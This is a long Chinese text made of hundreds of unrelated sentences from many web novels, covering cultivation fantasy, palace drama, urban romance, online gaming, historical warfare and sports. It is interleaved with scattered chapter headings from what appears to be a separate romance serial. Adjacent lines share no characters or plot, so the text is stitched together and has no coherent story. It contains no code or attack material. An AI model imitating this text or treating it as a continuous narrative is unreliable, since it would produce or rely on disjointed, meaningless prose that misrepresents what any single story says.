怎么说奇异呢,只见树林周边白雾渺绕,并且朵朵蝴蝶在树林边的草丛中偏偏起舞着,还有许多果树,上面长满了颜色各异的蔬果,在雾气的熏陶下蔬果显得是那么的新鲜,一滴滴甘露从蔬果中滴下,让人看后食欲大开。 这庞大的家伙到底在想些什么呢?俊脸罩霜,冰眸底却闪着促狭的意味,一瞬不瞬地盯着她,一语不发。 离慕看陌玄的样子实在不像是说假话,但是心里怎么也不能明白一个魔修是怎么做到那么厉害的?修仙已是逆天行事,更何况的修魔呢? 这一次,有熊国的圆阵没有再裂开,而是突然之间转动起来;将近两万人的队伍,就像个巨大的磨盘一样、顺着一个方向不停的转动。 只有海洋大学的那个校长,一脸的郁闷,他活了一大把年纪了,比猴子都精,想了半天,总算是想到了林风想做什么,一定是想找机会报复回来。 “这是沈星辰的意思,不信你问问她,她就是想看你滚开。”林风冷笑着回道。 通过询问一些人,王海生也逐渐的知道了贺川是一个什么样的人,更是知道贺川对国外组织有着什么样的看法,王海生觉得自己找鬼狼,那是一个很有用的抉择,至少鬼狼会将自己所想要知道的,都会告诉自己。 欧阳天看了一眼高台上摆着的古琴,古琴散发着沧桑的气息,起码有万年的历史,没有想到朱雀学院,也有这样的好东西。 白利雷看着姿色不错的两位学妹,舔了下嘴唇,厚颜无耻地问道。 正好看着前面的路标,她就要到约定地点了,连忙稳了一下心神,故作镇定的说:“我没有想去知道你的身价,你把钱给我准备好。我还有事情要忙,就这样。”直接挂了电话。 苏格一听这话,心头那股不舒服就更甚了一点。她就知道这个老人对自己有着很浓的敌意,可是他这么说话是不是也太不客气了点? 苏倩倩又不是笨蛋,怎么会听不出他的话外之音。只是由于前世的经历,她尤为讨厌花心男,自然不会对凌云产生好感,反而对一直保持冷漠状态的林宇胜极有好感。 他们虽然是门外汉,但见到冷老脸上的震惊,就知道楚晨猜对了。 “慕云长老好兴致,这么晚还出来赏月么?不过这月色还真是很美,不是吗?”黑影的声音很是写意,轻松的回过头来,黑色的眸子在黑夜中闪烁着异样的辉光,是林炎,慕云长老似乎觉得自己似乎踏入了一个误区之中。 这些狮虎豹虽然被驯养了,可还是凶猛异常,冲入寨中后造成了大批的袁军死伤。 红宝感觉自己的俩条腿都软了,艾玛,幸亏自己守本分,不然的话,拍马屁的巴结这位主子把伞撑在这位主子头上,那就是找死了。 太平公主不由有些恼火,自己损兵折将,最后却居然便宜了李臻,他为什么不帮助自己? 叶昱临猜到了这个结果。管家敢拿着钥匙找他,就说明躲在叶府的那些官府之人都走了。 “想得真好!如此一来,我就是专门替你们炼丹的了!”林逍连连冷笑起来。 看着手中电话那“通话已结束”的五个大字,再听着电话那头传来的一下一下规律的,嘟嘟声的被挂线声,顾娘亲那个叫欲哭无泪。 他的桌子本来就是距离顾辰办公室门口最近的地方,几乎就是办公室的门一开就能看见他的那种,所以他根本就没有东西掩饰的时间。 “老管家,咱难得一起吃酒的,我那轩王府全靠着你来打理。辛苦的很。来,借此机会大家一起敬你一杯。”殷子轩把主意打到了老管家身上。 只见三人吃了之后,表情一样的严肃认真,似乎就是在认真的品尝,而且,佐藤美纪还皱起了眉头,异常的认真。 蓝振宁再也不敢心怀侥幸,便将他所知道的事情原原本本的交代了一遍。 第一卷 第129章 夫人,你冷静点! 老东西见状更愤怒了,恶狠狠道: “好啊,你们这群孽障,竟敢公然忤逆本家主! 既然你们和这个小畜生这般手足情深,那你们就和他,一起去死吧!” 黎世高忽然明白过来了,估计陈翰故意这么说,是想让自己心里不那么难受。 “淑娴姐,这次感情培养得差不多了。”林青侯轻拍着身上的陈淑娴。 陈淑娴留了四个民警在陈昊天家门口,日夜监视他的行动,陈家族人也心思各异了,肯为他卖命的人不多了。 巨大的剑气就跟炮弹一样喷出,柳月飞直接被轰成渣渣,化作白光回城复活起了。 从他第一次找食神麻烦,就知道这家伙是自己的克星——自然系中的火焰类果实虽然强大,但是在同类果实中,却存在高温克制低温的效果。 这气息是魂魄,是阴气,是香火,是纯阳之气,而这也就导致了鬼神死后往往什么都不会留下,会消失的干干净净。 她忍了忍涌上的酒意,喝了一口雪碧压了压,才感觉好一些。再喝的时候,吴颜就耍了个心眼,偷偷把含在嘴里的就吐到了雪碧瓶子里。 黑暗?死寂?混乱?迷茫?还是躲在自己幻想的世外桃源里,自娱自乐? 不待罗凤婷挽留,她回头就拉上满脸不情愿的神婆,往屋外走去。 无奈之下,秦琼只好继续躺在榻上,心里却有些郁闷。他知道自己伤的有多重,其实说白了,就他这样壮的身子,这点儿伤根本不算什么事情。之所以他昏迷了这么久,还是因为自己心中那股火气没有得到适当的发泄。 “滚出来。”叶枫一拳砸在地面,大地龟裂,一道血淋淋的身影被震飞了出来。 随即,王朝阳他们几个像蒲公英一样飘在空中的人就看见十几个迷彩色的身影“嗖嗖”地从自己身边冲了过去。 “呵呵,喝红酒,我喝红酒。”看着大家都直视着自己,秦若赶紧拿出红酒了。 郑三离开了,他可以无视定康部落,但绝对不敢招惹公羊家,公羊家目前是纵横城第一家族,城主公羊河也是纵横城的第一高手。 唯有澹台秋月、姜婷婷、敖烈等少数几人,手段丰富强大,能够迅速对这些僵尸形成杀伤。 没有理会自己的妹妹急躁的询问,而是把视线投向这边,在我身上停留了几秒后便和阳乃的视线在空中相遇。 仙儿彻底哭了出来,爬在那个周逸身上,感受着他身体正在逐渐冰凉,随着自己的回忆缓慢消散。 战车上,一尊尊沙将仪态威严,手持各种彪悍武器,相距很远,就有弓弩手朝杨迪射出凌厉石箭。 看着木遁那副萎靡的样子,此时哪还有半分巅峰神主的傲然。他的灵魂印记掌握在康氓昂的手中,康氓昂不让他醒过来,他这一辈子就要保持这种沉睡的状态。 “让延子公公到前殿中等候。“龙骧放下了手中的茶杯,淡淡的说。 他这便是关心则乱,投鼠忌器了,若是他冷静下来,便该能想到,李瑾绝不会杀张清。 “沈睿,击鼓聚将!”得了李瑾的吩咐,沈睿走出聚义厅,片刻之后,深沉的鼓声响起。 第一卷 第130章 这次出来的不是水神娘娘?! 现在好像,说什么都迟了…… 我也想冷静,可根本、冷静不了啊! 我的灵魂仿佛在趁着我头晕目眩脑子浑噩疯狂顶号—— 另一个我,正从我的体内缓缓苏醒…… 叶轻寒连退数步,看着腰间上的战衣竟然被紫色雷电切破了,不禁大吃一惊,这才明白异种雷灵豹的威力。 “三日后再进行。”闻言到此,所有人都没有多说什么,他们中大多数人连续经过几次选拔,虽然战斗力没有减弱,但高度紧张的战斗,那紧绷的神经确实应该好好放松一下,为前十之战做足准备。 “龙,冷静点。”龙完全就是支持反抗军的人,现在不爽也很正常,我只能死死拉着他。 胜天道:“如此甚好,我正想领教领教您都给我们设下了什么。”说到了这里胜天他闪身即坐上了这把宝椅。可是胜天他刚一坐上他即睡着了。可是胜天他刚一睡着他即做开了美梦。 混迹红尘是纯阳期修士突破造化期所必须经历的,没有这个过程,没有想到这个途径,那突破造化期那是根本没有指望。 “咱们今天来的也真是时候,三弟这酒放了有半亿年岁就剩这么几坛了,我做主全都喝了怎么样?”青龙说道,白虎跟着起哄,朱雀欣然同意。 再看场上,正如张自豪所说融合后的星河力量翻倍,再加上蛇类的灵巧特性,阿丹开始将进攻转变为防守,正如自己一开始对他的猛攻一样,星河一股脑的都还给了他。 老周看出了周跃峰的状态,稍微迟疑了一下,给了他一个缓冲的时间说到:“抓住了,我已经把他给带回来了,就在门外。”周跃峰对他做了个手势,意思是让他把人给带进来,老周赶紧到门口把那人给带了进来。 天子使者宣诏,拜韩遂为镇西将军、马腾为征西将军,并令韩遂、马腾所部向长安靠拢,准备随时迎战凉州叛军。结果韩遂与马腾受了职,韩遂自返金城,而马腾却继续带着人马在郿县看热闹。 并且,这一个月,三国杀和率土之滨直接给陈礼带来七千万的净收益。 段思平没有接诸葛元昭的话,反而朝着这个房间四处四周看了看。 贺淑云心里想着却没有多说,这种话说了也没意思,行动上看就行了。 刘大姐家里面虽然不缺大件,但是非常缺一些零碎的东西,比如一些碗筷什么的,但是前两天吃饭还是凑合着吃的,甚至连个盛菜的碟子都没有,总不能这样一直凑合着用吧。 齐达内,皇家马德里的现任主教练,也是皇家马德里的功勋球员和教练,他在皇家马德里的经历,堪称传奇。 “洪涛老师,我想问一下,您对地球科技了解多少?”陈礼问道。 场上的李明宇也感觉到了刚才那一下过人之后,自己膝盖对自己的抗议,如果再来一次的话,说不定自己的膝盖就会发出一个恐怖的声音,“嘭”,就像橡皮筋被拉断一样的声音。 这是陈礼为了防止那些职业战队五排,将一些本来实力不错的路人玩家的光芒给掩盖住。 但是主裁判才不会理睬瓜迪奥拉的抗议,再敢废话,一张红宝石晋升卡送你去VIP区看球。 第一卷 第131章 到底有几个二姐啊? 柳云衣他们连忙撒开了我的长尾。 尾巴收回玄色裙摆内,化出一双人类长腿。 我拂袖转身,面向那只端着宝瓶的大刺猬, “来,有什么本事使出来,让你祖宗我看看!” 陆离耸了耸肩,心说早知道有这么一位,自己刚才还费那么大的劲干什么,直觉告诉他,这位赵杰是个能听懂人话的主。 给自己包扎好伤口,不理会还在沉思发呆的莫予诺,墨晴开始拿着打扫工具收拾莫予诺遗留下来的战场。 太子说的没错,这的确不能让他去做,这件事情太复杂了,涉及的皇亲国戚太多,容易惹麻烦。 不得不承认,自己的妹妹缺点很多,但是赵杰也知道一旦赵璐雪所认可的事情绝对不会轻易改变。 祖父笑着拍他的肩膀,告诉他这只是简单的止血消痛的法子,出去之后还是要到医院手术治疗。 符九裳嘟了嘟嘴,非常认真的看向大哥,“你别老摸人家的头,长不高的!”一边说着一边把大哥的手从头上拿掉。 莫予诺知道,从老张给他送回家,辛姨对他态度不改,他就知道,他和墨晴之间只是缺个解释,他更知道,只是自己进来,墨晴才开始肆无忌惮的,他的晴晴可是有很重的洁癖的。 “回溪山别墅。”莫予诺的声音带着火气,墨晴刚才的离开,他已经沉不住气了,隐约听见墨晴接电话的一方是个男人说了什么要墨晴去见他,墨晴就离开了。 因为白莲真火本就是元婴级别的神焰,没有强大的神识和控火术支持,想要控制这东西,根本不可能。 瑶颐扬声喝道:“来得好!”黑色袍袖一扬,黑色雾气顿时又浓烈的几分,裹挟狂风,发出嗷嗷怪叫,兽头被她灵力催动,怪口一张,就将那道隐含冰箭的白色雾气吞没。 紫烟霞晶亮的眼睛在夜色中灵动地一闪,她心想就是在玄冥岛被幽禁一辈子,也不想回到冰凌海里嫁给那个沧溟龙君赤虬老龙。 不过好在,夜枫的这件重力手镯,对阵纹铭刻的要求并不高,反而对铭刻阵纹的灵液本身要求更加夸张一些。 “谷幽兰同学!我跟你说件事!”景炎放下之前的顾虑,选择了开口。 对此,温其延只是冷然的笑了笑,一点也不在乎,转身往前走去。 陈越自怀内掏出一粒药丸放入他的口内,手轻轻拔开脸上一缕乱发,泪水模糊了她的双眼,满是怜惜的说道:“珏,你们真傻”。 “我不想干什么?只是想和你赌两把。”秦斌一脸阴沉的一步步向癞子走去。那沉闷的脚步声仿佛是催命的音符。让癞子额头上冷汗直冒。 天蝎说到这,他响亮地笑了两声之后,又将糊涂仙拉到一张台桌前,两人对面坐下。 “你就这么想知道?”公孙媚儿竟然不敢直视苍雷的那双眼睛,一时间也沉默了下来。 白祖武和孟驼子相互看了一眼,谁也没有说话,因为他们也想知道秦斌究竟有多少把握,敢说这样的大话。 “雪儿,随我来,经受住了考验,他日成就不可限量。”叶枫的五道神念,化成人身,站在虚空罡风之下,长啸一声,抓起了雪儿的神念,扑进了那漫天的天风雷火之中。 第一卷 第132章 我想和你多待一会儿 柳云衣心累扶额,无奈道:“姐啊,你再这样闹大王,大王是真会、受不住的。” 我咬了口冰淇淋不以为然: “我和我哥一直都是这么相处的,你们不习惯的话,可以先去一边玩…… 拥有这种冷的人属于很冷漠的人,很少有事能惊动到他,而他的眼神,从来都是冷酷、无情的,从来都是杀人不眨眼,也许与他所学的刀式,绝情斩有关。 听到这里,许多人都竖起耳朵,身子也往前凑了凑,毕竟能让陈近南称为恩公,肯定不简单,众人都很好奇,阿珂郑克爽也不例外。 却听任九霄罕见的苦笑,“成全了你们师徒,却让我师尊声名扫地,谁有能料到呢?”当年一场援手,结果另他师尊清岳真人事迹败漏,最后挂印远走,因果循环间,当真好像命运开的恶意玩笑。 地牢顾名思义就是地底关押,四周全是石墙阻拦,而且没有光线,在里面呆久了白天黑夜都分不清楚,在地下,可谓铜墙铁壁,插翅难飞,想要开溜难于上青天。 得,没想到康熙来真的,有几个喋喋不休的老臣,立即被康熙让人拉下去打了一顿屁股,这下好了,谁也不敢再劝了。 果然,就如加百列预测的那样,虽然随后也用雷火相济解开了加百列的月华冻结,但是已经慢了一步的李青莲在拼命躲避反击了一段时间后,直接被加百列用水翼捆住,拖到了自己的面前。 如盘龙营这样的势力,就算面对整个世界其他势力的围攻都不一定会怕,因为在他的背后有着整个东盛帝国。 随着漫天飘舞的雪花,开了许久车的林溪,也终于在一个拐弯之后,看到了不远处的那间保时捷4s店。看到这后,林溪并没有加速过去,反而缓缓减速下来,拿出了手机翻出了一个号码,接着拨打了过去。 斗气大陆上,拥有天境灵魂的强者在这一刻,只感觉自己正被人窥视着。 声如雷鸣,赵富金还没有感受到,但是这声吼犹如响雷般在京城上空轰鸣,无数宿老看了过来,便是水云天之前腾虎院里的四管家在黑漆漆的房间里也抬头看了过来,哪怕隔着墙什么都看不到。 镇元子又一挥衣袖,转过身去不再看他,望苍茫碧空,苍老的声音缓缓响起,带着几缕缥缈悠远,仿佛自遥远的亘古而来,穿透千万年的漫长时光,悠悠传入古坤的耳中。 他转身去了洗手间,细致的清洗着自己的双手,一根根的清洗,骨节分明的双手略显苍白,左手尾指处有一个几乎看不出的圆形印记。 “好吧,既然如此,那就赶紧把这个消息告诉江姑父,不要让他继续控制江季集团。”叶清的第一个想法就是宣布这件事,也是为了稳住自己的位置。 “家人?”江离然只觉得这两个字很讽刺,亲情对他来说已经是很遥远的词了。现在只有季晗诺和季忘之能给他温暖。 不应该。她显然没有拒绝自己。既然她没有拒绝,那就应会该接受自己。但是现在她给自己这种感觉,很复杂。 夏晓云和时俊紧随其后,缓步走出,一个身穿绿色古装长裙,一个穿着暗紫色劲装,两人的装扮明显为了符合中间的白茯苓,都是复古的打扮。 第一卷 第133章 帝曦,你胆敢将本神当替身! 哥哥好脾气地应我:“嗯,你想去哪玩?” 我考虑了下,“可以在东北仙域随便逛逛,你知道的,我就是想多和你待一会儿。” 他会意颔首,牵着我的手,带我出门。 高旭一边说着,一边把椅子搬的和杜雪旻近了一点儿。他的手还不忘在杜雪旻的肩头上游走,把她弄的咯咯笑个不停。 果不其然,顾莹莹的额头已经渗出了汗珠,看起来十分紧张。杜雪旻瞧她不停的顺着气儿,于是便利落的将照片抽出来,摆在了顾莹莹的面前。 作为曾经的风水先生,林岳对一些习俗了若指掌,其中就有一条大年初一是不能干活的规矩,否则接下来一年都是劳碌命。 如果林修治都不允许动用梦中本领,他林间又怎么可以得到优待? “为什么没有,只要合理的安排好时间,这些课业也不算太过呀,睿睿现在就很轻松呀,你们看他每天还有玩乐的时间就知道他不累呀!”看着张彬,谢昭不在意的反驳道。 他的情绪已经濒临崩溃,对于他来说,杜雪旻有多么重要,只要是在他身边的人都能看出来。可是为什么,他想要的,他珍惜的,总是不能长久,难道,被厄运缠身的不是杜雪旻,而是自己吗? 黄金能够沉埋地底不改颜色,历经千年而不变分毫,陆宏羽的梦境同样如此。 “怎么了怎么了,还让不让人睡了!”凶巴巴的一声大喊,制作人披着衣服满面倦容跑过来。 来到苏晚城身边,拉下苏晚城遮挡在脸的纱巾,确定是苏晚城无误后,黑魔老怪就要痛下杀手。 殷天正不由得多看了几眼,抓住时机,下手狠辣,要是这样的人都不能成功,谁还能成功? 原来她刚才在救人的时候把脸上的轻纱给扯掉了,因此这张绝色容颜便暴露在众人面前。尽管其时天色渐晚,光线暗淡,但大伙仍然瞧得清清楚楚的。 繁茂的竹叶在明澈的天空下交错叠沓,被阳光醺烤出淡淡的暖香。 “咣啷”一声,铁门重新关上,看着液晶接收器里的画面,赵冰怡不禁眉头紧皱。 “哈哈,大掌柜,对付这样的人,我有的是办法,既然他只是世俗之人,那么我就用世俗之人来解决问题,他总有那么几个家人吧,我不介意给他制造一些麻烦”,李长空非常阴险的说道。 雪灵坐在一旁冷冷地说道,从她一进来,酒馆里的那些佣兵们就开始肆无忌惮的用有色的目光打量着自己,好像要把自己的衣服看透一样,这无疑令雪灵一阵火大,要不是有墨无吟和聂辰在这,她早就把这些家伙宰了。 过了十多分钟,监区的大门缓缓的打了开,前面一辆警车开道,中间一辆黑色的奔驰,在后面也是一辆警车收尾,三辆车缓缓的驶进了监狱里面。 聂辰一把将箱子的盖合上了沉声道,雪灵和蓝炎一件聂辰真的要发火了,也不敢再闹了,乖乖的跟着聂辰看起了别的东西。 血人一听大喜连忙向聂辰问道,心里也打定主意无论如何都不能跟刚刚那个血人一样,失去意识,成为只听聂辰的行尸走肉。 一语惊觉,宇坤适才反应过来,纵这楚国公主并非东辽人氏,禁卫军常服也能猜出一二。至于大楚贺仪队的事情,既已死散无数,也没必要再巴巴的赶到青城山去寻个踪迹出来吧!没意思的打紧。 床榻上的唐晴静静的望着屋顶,眼中没有丝毫光彩,仿佛世间的一切都与自己无关一样。 袁绍亲自领张郃、高干等率大军七万,经白陉北上上党,攻端氏、阳阿,目标是绛邑、临汾。 羌氐既然会耕,冶炼、制器等自然也略,是可以打造攻具,更何况阎行还胁裹了不少汉民。 况且他也看得出,老者的力量根本没有被他充分发挥出来,看来他是准备认真了,那一招,果然还是要来了。 傀儡战甲的光芒愈发浓烈,在光芒的映衬下,4具傀儡似乎亦发生了变化。 如同气态一般,仿佛只要一阵轻风拂过,下一秒便消失不见了一样。 身子一转,季末躲开菲奥拉的攻击,回头一刀斩出,与另一个氪星战士的拳头撞在一起,发出一声清脆的响声时,一抹血光闪现,在对方的拳头留下一道深可见骨的伤痕。 微弱的亮光照着前方,他的跟前,是一处沟壁,凹凸不平的岩石壁除了满目青苔外,便是一览无遗了。 接下来的日子对乔昭来说算是风平浪静,除了每天去一趟冠军侯府替邵明渊针灸,留在家中的所有时间都用在了研究那颗毒牙上。 大长老对李枫的影响最为深刻,也知道李枫绝非凡人,与消失千年的南黎非天一族有莫大的关系。 木子云也明白了,八成是数千年前阴差阳错下,一把锤子从这里流落到了家乡湖州的百炼兵道,而百炼兵道在此基础上稍加冶炼,便成了三棱天石锤了。怪不得一路上碰见的角色,都认为这锤子不是件好物,还真不是件好物。 “立刻带他们进来,就来我的卧室吧,不用去会客室了。”德菈命令道。 秦月终于彻彻底底被感动,从此刻起,她的心中再也无法忽视假面,无论假面的身份背景是什么,都将成为她不得不为之心动的英雄。 第一卷 第134章 亲哪儿呢!帝曦你不要脸! 他似被我的话绕迷糊了,两秒后,陡然回神。 揽住我的腰无辜低叹: “你是阿萦……水神。夫人你怎么、连自己夫君都坑呢?” 我、什么时候坑他了? “少转移话题……回答我,娲妹、到底是谁? 帝曦,你当真这样恨我么?不惜用美男计…… 这个准君王,很有希望在十万年之内成就君王境界,真正高高在上,但如今却陨落在了这里。 而等到高明接到消息的时候,是黎汉中的人通知他去他那边领人。 一种诡异的熟悉之感与似曾相识,自年轻的总统大人心中飞速掠过,令得咱们的邵大总统心中一时间禁不住五味杂陈、复杂难言。 两人有一句没一句地扯着往外走,却都一句都没有提苏烈和苏鼎新这两个倒霉蛋的事情。 吃过饭之后孟峥和澹台子墨下棋,下到一半就让给陶泽启下了,自己说去转转消食,陶泽启就派人带他去转转了。 这丫头,果然是个没主意的,这才一会儿又换了一套衣裳,若是在留下去,或许能将所有的衣裳都换一遍。 贾琮如今已拜李守中为师,所以在李府也算不上外人,拜见师母也是理所应当的事。 灵落撕裂卷轴,卷轴之上释放出一道道光,笼罩住仙主一脉的弟子,然后他们的身形模糊了起来。 “袪疤的,有两种品级,一品的还能够加速伤口的愈合。”江筱倒是没有瞒他们。 他早就听说过寂灭天尊的大名,本以为早就死了,那里会想到竟然还活着,而且实力逆天的很。 山炮的住处本来就是她名下的产业,钥匙一直都放在常姨那里,穆艾艾想要拿钥匙并不是多么难的事儿,她来到楼下酒劲就上来了,稀里糊涂就脱衣服睡下,结果就发生了昨晚的事情。 “夏兄弟,真的,多谢的话我就不多说了,以后有时间,我请你喝酒,有需要我的地方也尽管说,义不容辞。”彭江慎重说道,脸上的神情非常认真。 走进去,里面都是浅蓝色的壁纸,都让大家觉得很清新呢。这房子本来就是靠着大海的,坐在窗前,就能听到大海的呼吸声。 满级后的玩家在大潮的作用下,都会被迫使用双倍真实模式,这样神族的人在意外死亡后,所有的能量会转化到神能塔上,更能让塔的能量提升一大截。 而这个时机就是沈西临离开大明前来灯塔星。这个机会到底有没有?夏天心里也没底,但是有一点可以肯定,那就是大洋彼岸的梅菜大陆有沈西临建设的自然城市,等自然城市建设好以后,他沈西临能不莅临指导? 周良来到大殿之前广场上的时候,依稀感觉到了一丝丝的空间道纹传送阵法的气息,地面上还有残存的纹络烙印,很显然就在一炷香之前,这里有一个大型的传送阵法启动,将某些人传送向了某个未知的方位。 叶白搜了众人的身,结果他搜出来一些东西,看到这些东西他就明白了,这帮孙子并不是要揍他一顿那么简单。 斩尽杀绝的衣服全部交到队长手中后,我让萧雅丹在这里设置一个只可以传送回来的单向传送阵,这对她来说轻而易举,完成后,让黑风宏图用异能送我,萧雅丹和斩尽杀绝到地面上去。 第一卷 第135章 夫人,她非礼本王! 杨泽安长叹一口气: “你放心,我杨泽安虽然有时候是冷酷无情了点,但也没有到丧失人性的地步。 我决定了,明天等她过来,我就和她把一切说清。 这些足以惊天动地的修真法诀,汇集于岳琛一人,互相参悟又互不影响。这就令岳琛渐渐生出一种忧虑——自己会不会在沉默中分裂? 那老者心头突然一震,点出的双指也不由得缓了缓,就在这时,一道眨眼刺目般的金光从他的眼里浮现而出,使得他莫名的心中一悸,随即,自己点出的右手双指上传来一阵撕裂如割般的巨痛。 厌翼虎双爪似天幕垂落,伴随“轰隆隆”的巨大响声,狠狠拍向倒地的黑沌将。 “果然是他。”叶吟风心中暗忖道,虽然那老者的话已经很挑明了,但是他的心底却还是拒绝的,一直以来,他的心底只有一位师尊。而眼前的这名老者就是道门天尊无忧子,天下第一尊。 到了论辩这日仿佛老天都有意帮忙,连着阴沉了数日的鬼天气居然放了晴。 到了月光下才看得清,两人手里抬着的是一个粗麻口袋,张口系的结结实实,不知道里面装的什么。 一个五大三粗的中年男子注意到了他们三人,似乎并不太将沐帮放在眼中,口气不善地说道。 以岳琛现在所掌握的资源,至少七阶及以内的灵丹所需的灵材,是不会特别困难的。可是,像这种人世间根本不存在的东西,岳琛根本是无计可施。只能空对着丹方发愣。 “怎么回事呀?”似乎听到这马车外吵杂之声,一名长相和气的管家模样的男子将这马车的车帘挑开了,从那车窗里探出头温煦的问道。 副将被更多涌上来的死尸扑倒,躺在地上的副将看到的最后一幕是自己的肚子好似吹起的气泡,到了临界点之后便炸开了。 但是大晁峰乃是国外的一座荒古巨峰,它的海拔上万米,真正的一山分四季,景色各不同。山下一片葱绿,山腰白雪皑皑。 “呼……”第四遍念到一半,狂风就吹到了他身边来了。立即,这里就烟雾滚滚,一下就伸手不见五指了。 一棵棵长了不知道多少年的大树倒折,噼啪的断裂声和呼喝声响个不停,到处都是乌鸦的振翅声。 但一切都没有证据,只有鲛妙月的一家之言。这事虽然近乎荒谬,但鲛妙月却坚信她见到了她师傅。 说完,我看到他满是血迹的脸,似乎对我笑了一下,这一次的笑,很真诚。 “不好!竟然是暗血神王的一缕魂光,在一角神皇法旨的庇护下逃脱了!”老道士的瞳术显然十分了不起,隔着无尽的虚空还是捕捉到了暗血神王的逃走轨迹。 结果,那血盆大口中并没有声音传出,反而是里面燃烧起了火焰,那是化道的火焰。 此人不是别人,正是费轻羽,他得到了二代白无常的传讯,心急火燎的赶来。结果却扑了个空,不光目标人跑了,连祝由师也被抓走了。 “好的好的,俺们马上包围!”有人回复他,也有人顾不上回复他。总之那些人全都一窝蜂地涌入到了后花园。 第一卷 第136章 本王现在有夫人 现场主持人邀请大家一起去聚餐,杨波本来都已经做好离开的准备了,见到这种情况,只好又是留了下来。 “既然没有了,那……”冷雪突然话说了一半儿,戛然而止,这把凌天吓得,一双眼睛睁的大大的,盯着她,看看她要说什么。 千王的双瞳逐渐涣散,这一战他败得如何的彻底,对方故意耗尽所有法力唱出神曲忐忑,仅仅只是佯攻,真正的攻击却是偷袭的金馆长,而且对方已经算计到他会施展出偷天换日。 不过,付新良没有任何惧意,说了声“走”,就带着我们上去了。 下一刻,空中翻腾的云气急遽下冲,悉数钻入了水圈之中,短短的数个呼吸之内,水圈便涨大了数倍不止。 面对那股比自己强上无数倍的元气,桑托斯没有丝毫惧色,根本没有在乎自己的生命,身体在空中微微一旋,用背部迎向了威尔的攻击。 “不错,自然由我来做主了,但是我来呢,不是来提亲的,更不是来让我三师妹嫁给你的师弟的。”于莎莎却品尝了一口沁人心脾的茶水不阴不阳道。 不过王氏心思单纯,倒也没想这么多,只是感激地点点头,看着聂鹤远一甩袖子气呼呼地跑了出去。 “难道他没有钱吗?请你做导游?你能知道什么地方?”黎英道。 我看着孙爷有些癫狂的样子,心里更是没底了。这个老东西,他到底在想什么,他到底想说什么? 张凡想是否还有其他的办法?如果眼泪可以救人,那口水应该也可以救人吧?张凡有些不确定。 这是要等扭曲树精交出传送,他再出来一个大招打断扭曲树精,并且将扭曲树精送到狗头的怀里面。 不过他们也必须佩服“夜”,这样出手,根本没有犹豫!在外面混的话,就是需要这种狠劲,只有这样,别人才会畏惧自己。而不是示弱,示弱的话,只会被欺负罢了。 罗峰带上面具,带着十几个天宫最是强劲的手下去助力,炮灰方面,有林家的基础就行了,炮灰不需要多,这场战斗的关键,还是强者的多少。 “恩?滚?”程处墨微微一愣,似乎是在印证秦超刚才所说的可行性,一边找着平整的地方,然后双腿弯曲,双手抱头,恩?我擦,为何要滚? 一个巨型的酒桶从古加拉斯的手中投掷而出,当这个酒桶落在扭曲树精屁股后面的时候,炸裂开花,巨大的推动力将扭曲树精狠狠反震到了狗头的身旁。 两层的房子,竟然不是土木结构的,而且看起来又很高大上的感觉,这里瞬间便满足了她们的虚荣心。 当然她也趁机占了张凡的便宜,胸前的饱满处在张凡的手臂前蹭了蹭,给张凡点福利。 秦云闻言一怔,看着眼前丝毫不觉得不妥的岳香雪,顿时一阵无语。 “如果是这样,我们就顺着这条路线去调查,萧天是因为什么而遇害,他的工作场所,烧毁的房子,这跟他的失踪有关系吗?”李三开始结合唐龙的假设做出推理猜测。 宋天机笑了笑不在说话,他相信许婉琪明白自己的意思,阴灵附体的她怎么能没有办法惩治一个普通人。 她对着旁边的侍从说了悄悄的说了一句之后,那侍从直接走到了梦无双的面前。 "我们这是出来了吗?"路西菲尔看着周围的一片废墟,疑惑挠了挠头,那些金字塔不仅全部变成的废墟,所有的亚特兰蒂斯人和亚特兰蒂斯舰队也全部消失得无影无踪。 “杀!”就在这个时候,一个佣兵从鸣人背后出现,一刀劈向吴天面前的鸣人。 这时候,那一柄悬浮在披发男子身后的剑,颤动了一下,仿佛一柄无敌之剑复苏一般。 后来经过多方秘密打听才知道,这玩意的用处,结果不知轻重的他们竟是将一大包龙涎香全部倒进了他们大殿中的香炉里。 看着阿四耍宝一样的表演,众人表情各异,雷婷婷更是差点笑出来,最后又硬生生地憋了回去。 斑和辉夜什么时候掌握轮回眼独有技能,张烨不知道,但是二柱子可是在得到六道仙人馈赠的阴·六道之力之后,便直接掌握了【天手力】。 墙壁上挂着的时钟,指针指在了八点的方向,整栋教学楼中响起了清脆的闹铃声,只见教室的大门被拉开,一名也扎着头发的青年黑肤男子从外面走了进来。 “野蔷薇也是你的?好,我记下了。”西子十分意外,愣了半晌点了点头,找个椅子坐下揉起酸疼的手腕,心里默默地对未来做起打算。 于是乎,包子、团子以办差的名义出京了。在天津上船,理由是二福晋东西多,人也多,坐船最安全也最舒服,直接沿着海岸线走。 只有神才能被称为永恒,至少在人类眼里,几万、几十万、甚至上百万年的生命足以称得上永恒了。 他们这些年为难死了,可老十一要的是轻型炮,这就简单太多了,没用多少工夫,就试制成功,也算是火铳的副产品。 “那千千你和你的贝蕊聊哈,凯爷你跟你的娅娅聊哈!咱们互不打扰了。”源源看着手机说。 老八这才注意到老爷子竟然真的老多了,默默的跪下行了三跪九叩的大礼,才退了出去。 待秦正抱着凐走出医疗间,一名执事早已恭敬地候在那儿,跟在执事身后来到餐饮间,里面的装饰、餐桌、椅凳风格比较别的房间亦有些特别。各种风格的混合、叠加、错位,营造出另类却又华美异常的审美氛围。 电梯缓缓下沉,眼镜男子看着李红名身体紧靠着装着怪兽遗体的箱子,大叫道。 第一卷 第137章 蔷薇花,不是大王送你的…… 苏苏想了下,说: “若兰今天无礼大人勿怪,今日你我所为者无非就是昭哥,对于昭哥若兰志在必得。 如果把这个病房中的仪器拉到内地去,完全可以撑起一个内地医科大学的实验室。 “你……你……有本事你别动我,我打电话给我爸,我让我爸来!”窦兵急了,原本以为自己本事大,可以找人为自己报仇,现在看来还是找老爸吧,老爸本事大呢,可是开宝马的。 他们在驻地两百年,竟然不知道这早就废弃的古旧传送阵不仅还能使用,而且是通向其他碎片空间的捷径。 “放心吧,各国不会因为你这样的废物引起战争的。”夜葬冷冷的看着自己手里的男子,不屑地说道。 “好,对了,夜葬,你可以直接跳过毕业考试,所以你不用去测试了。”伊鲁卡看着名单说道。 庞飞对这个男孩子各项条件都挺满意的,唯一不太满意的,就是他那一声姐夫。 而之后他能不能为新时代的武人找到新的出路,能不能让华夏武术继续的传承下去? 那齐师兄见樊化龙,虚易的谨慎,心头一惊,没想到这两个心高气傲的精英弟子,对这散修少年竟然忌惮到这种地步。要知道万谷崖和自己才是主攻,万谷崖的杀伐之气化作一口号令千军万马的神剑,当先劈下。 